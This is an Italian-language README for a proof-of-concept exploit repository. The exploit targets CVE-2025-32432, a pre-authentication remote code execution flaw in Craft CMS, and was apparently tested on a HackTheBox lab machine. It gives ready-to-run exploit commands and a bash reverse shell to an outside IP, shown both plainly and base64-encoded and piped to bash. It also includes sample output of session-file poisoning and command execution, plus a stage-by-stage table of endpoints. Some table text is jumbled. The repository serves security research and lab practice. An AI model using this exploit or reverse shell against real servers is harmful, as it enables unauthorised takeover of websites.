
Exploit, POC per CVE-2025-32432, CraftCMS2Shell
Esecuzione remota di codice critica pre-autenticazione in Craft CMS
Versioni interessate: Craft CMS 3.x, 4.x e 5.x (fino alla 5.6.16)
Info: Questo exploit è testato sulla macchina Orion di HackTheBox
Questo repository contiene un exploit proof-of-concept per CVE-2025-32432, una vulnerabilità critica di esecuzione remota di codice pre-autenticazione in Craft CMS. La vulnerabilità consente a un attaccante non autenticato di eseguire codice PHP arbitrario sul server sfruttando il meccanismo di aggancio dei behavior di Yii2 e l'istanziazione di oggetti PHP tramite la tecnica di override di __class.
pip install requests urllib3
python3 exploit.py -u http://target.com -c "id"
# Start listener on your machine
penelope -p 4444
# base64 encode the payload
echo 'exec bash -i >& /dev/tcp/10.10.14.31/4444 0>&1' | base64
# Run exploit
python3 exploit.py -u http://orion.htb -c "echo 'ZXhlYyBiYXNoIC1pID4mIC9kZXYvdGNwLzEwLjEwLjE0LjMxLzQ0NDQgMD4mMQo=' | base64 -d | bash"
python3 exploit.py -u http://target.com -c "whoami" -a 11
python3 exploit.py -u http://target.com -c "id" \
-s "/tmp/sess_{}"
usage: exploit.py [-h] -u URL -c COMMAND [-a ASSET_ID] [-m MAX_ASSET]
[-s SESSION_PATH] [-q]
CVE-2025-32432 Craft CMS Pre-Auth RCE Exploit v2
options:
-h, --help show this help message and exit
-u, --url URL Target URL (e.g., http://target.com)
-c, --command COMMAND
Command to execute
-a, --asset-id ASSET_ID
Known valid asset ID (skip brute-force)
-m, --max-asset MAX_ASSET
Max asset ID to brute-force (default: 300)
-s, --session-path SESSION_PATH
Session file path template (default: /var/lib/php/sessions/sess_{})
-q, --quiet Suppress verbose output
$ python3 exploit.py -u http://orion.htb -c "id"
╔══════════════════════════════════════════════════════════════╗
║ CVE-2025-32432 Craft CMS Pre-Auth RCE PoC v2 ║
║ Target: http://orion.htb ║
║ Command: id ║
╚══════════════════════════════════════════════════════════════╝
[+] Stage 1: Getting session cookie and CSRF token...
[✓] Session ID: q6458g6g8njeimu59n9l65cu1e
[✓] CSRF Token: ofuxX9FLAA7gSDxLqxYtJGLZVHpPCm...
[+] Stage 2: Poisoning session file with PHP code...
[+] Poison request returned: 200
[✓] Session file poisoned
[+] Stage 3: Brute-forcing asset ID (1-300)...
[✓] Valid asset ID found: 1 (HTTP 200)
[+] Stage 4: Triggering RCE via PhpManager gadget chain...
[+] Target session file: /var/lib/php/sessions/sess_q6458g6g8njeimu59n9l65cu1e
[+] Trigger request returned: 200
[✓] COMMAND OUTPUT:
============================================================
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
| Branch | Interessate | Corretta |
|---|---|---|
| 3.x | 3.0.0-RC1 – 3.9.14 | 3.9.15+ |
| 4.x | 4.0.0-RC1 – 4.14.14 | 4.14.15+ |
| 5.x | 5.0.0-RC1 – 5.6.16 |
/admin/actions/assets/generate-transforma= contenente codice PHPas nei corpi delle richieste POSTQuesto strumento è destinato esclusivamente a test di sicurezza autorizzati e a scopi di ricerca. L'accesso non autorizzato a sistemi informatici è illegale. Ottieni sempre la dovuta autorizzazione prima di eseguire test.
Licenza MIT - Vedi il file LICENSE per i dettagli.
| Fase | Azione | Endpoint | Auth |
|---|
| 1 | Estrai cookie di sessione + token CSRF | GET /admin/login | No |
| 2 | Inietta payload PHP nel file di sessione | GET /index.php?p=admin/dashboard&a=<PHP> | No |
| 3 | Forza bruta dell'ID asset valido | POST /index.php?p=admin/actions/assets/generate-transform | No |
| 4 | Innesca RCE tramite gadget PhpManager | POST /index.php?p=admin/actions/assets/generate-transform&cmd=<CMD> | No |
| 5.6.17+ |